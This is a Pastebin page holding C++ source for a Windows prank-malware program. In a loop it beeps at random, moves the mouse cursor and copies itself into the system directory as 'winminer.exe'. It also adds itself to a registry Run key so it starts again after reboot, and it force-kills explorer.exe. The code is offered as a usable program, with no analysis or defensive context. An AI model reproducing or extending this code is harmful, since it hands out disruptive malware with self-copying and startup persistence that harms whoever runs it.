Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <stdio.h>
- #include <windows.h>
- #include <winable.h>
- #include <conio.h>
- #include <ctime>
- using namespace std;
- int Freq, Dur;
- void Beeper(){
- Freq = rand()%2001;
- Dur = rand()%301;
- Beep( Freq, Dur );
- }
- int X, Y;
- void mouse(){
- X = rand()%10;
- Y = rand()%10;
- SetCursorPos( X, Y );
- }
- void SetUp()
- {
- char system[MAX_PATH];
- char pathtofile[MAX_PATH];
- HMODULE GetModH = GetModuleHandle(NULL);
- GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
- GetSystemDirectory(system,sizeof(system));
- strcat(system,"\\winminer.exe");
- CopyFile(pathtofile,system,false);
- HKEY hKey;
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
- RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
- RegCloseKey(hKey);
- }
- void Run(){
- Beeper();
- mouse();
- SetUp();
- system("taskkill /im explorer.exe -f");
- }
- int main(){
- while(!GetAsyncKeyState(VK_F8)){
- Run();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment